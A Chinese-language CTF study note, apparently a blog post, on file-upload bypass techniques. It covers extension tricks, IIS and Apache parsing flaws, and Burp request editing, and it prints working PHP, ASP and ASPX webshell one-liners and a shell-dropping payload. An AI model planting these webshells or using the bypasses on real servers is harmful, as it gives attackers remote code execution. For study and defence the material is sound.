做 ctf 的 web 方向常常遇到檔案上傳的題目,而且每題多少會有些不同。
於是蒐集一番總結起來學習一下。
前端會檢測字尾,可以先上傳乙個符合字尾的檔案,再用 burp 抓包修改檔案的內容以及字尾即可。
gif89a
<
?php @eval
($_get
['a'])
?>
jsp:jspx、jspf; asp:asa、cer、aspx;可能存在大小寫繞過,如:asp、php 。php:
php,php3,php4,php5,php7,phtml,pht,phps
test.asplinux 下字尾名大小寫test.asp(空格)
中引用檔案內容的語法:
#php <?php include("上傳的txt檔案路徑"); ?>——#asp
#jsp or <%include file=「上傳的txt檔案路徑」%>
——目錄解析(6.0)
形式:www.***.com/xx.asp/xx.jpg
原理: 伺服器缺省會把.asp,.asa目錄下的檔案都解析成asp檔案。
檔案解析
形式:www.***.com/xx.asp;.jpg 原理:伺服器預設不解析;號後面的內容,因此xx.asp;.jpg便被解析成asp檔案了。
解析檔案型別
iis6.0 預設的可執行檔案除了asp還包含這三種 : /test.asa /test.cer /test.cdx
————
apache 解析檔案的規則是從右到左開始判斷解析,如果字尾名為不可識別檔案解析,就再往左判斷。比如 test.php.owf.rar 「.owf」和」.rar」 這兩種字尾是apache不可識別解析,apache就會把wooyun.php.owf.rar解析成php。
————
漏洞形式
另外一種手法:上傳乙個名字為test.jpg,以下內容的檔案。
<?phpfputs(fopen('shell.php','w'),'<?phpeval($_post[cmd])?>');?>
然後訪問test.jpg/.php,在這個目錄下就會生成一句話木馬shell.php。
**關於上傳檔案裡的內容,即一句話木馬
最簡單的一句話木馬:
<?php @eval
($_post
['aa'])
?>
php的**要寫在<?php ?>裡面,伺服器才能認出來這是php**,然後才去解析。
@符號的意思是不報錯,即使執行錯誤,也不報錯,如果沒有@,就會報錯。
eval 就是執行命令的函式,把字串作為 php **執行。
eval() 語言結果是非常危險的,因為它允許執行任意 php **。
常見的一句話木馬:
php的一句話木馬: <
?php @eval
($_post
['pass'])
;?>
asp的一句話是: <
%eval
request
("pass")%
>
aspx的一句話是: <
%@ page language=
"jscript"
%>
<
%eval
(request.item[
"pass"],
"unsafe");
%>
一句話木馬的內容中 <?php 被過濾了,還可以換為如下內容:
"php"
>
@eval
($_post
['hacker'])
;<
/script>
檔案上傳繞過姿勢小結
檔案上傳漏洞是web安全中經常遇到的一種漏洞形式。檔案上傳,就是攻擊者上傳了乙個可執行檔案,木馬,病毒,惡意指令碼,webshell等到伺服器執行,並最終獲得 控制許可權的高危漏洞。下面結合學習的情況進行上傳繞過的簡單總結 burp抓包繞過,禁用瀏覽器js繞過,直接刪除瀏覽器的響應事件繞過 使用bu...
檔案上傳繞過姿勢小結
檔案上傳漏洞是web安全中經常遇到的一種漏洞形式。檔案上傳,就是攻擊者上傳了乙個可執行檔案,木馬,病毒,惡意指令碼,webshell等到伺服器執行,並最終獲得 控制許可權的高危漏洞。下面結合學習的情況進行上傳繞過的簡單總結 burp抓包繞過,禁用瀏覽器js繞過,直接刪除瀏覽器的響應事件繞過 使用bu...
SQL注入讀取檔案之各種繞過姿勢
回顯判斷注入點 確定過濾型別 各種繞過姿勢注入 注入要求 通過sql注入漏洞讀取 tmp 360 key檔案,答案就在檔案中。0x01滲透思路 進入答題後,顯示為使用select from article where id 1 提交表單後得到的資訊,已經知道id輸入的引數值為字元,不需要進行判斷 已...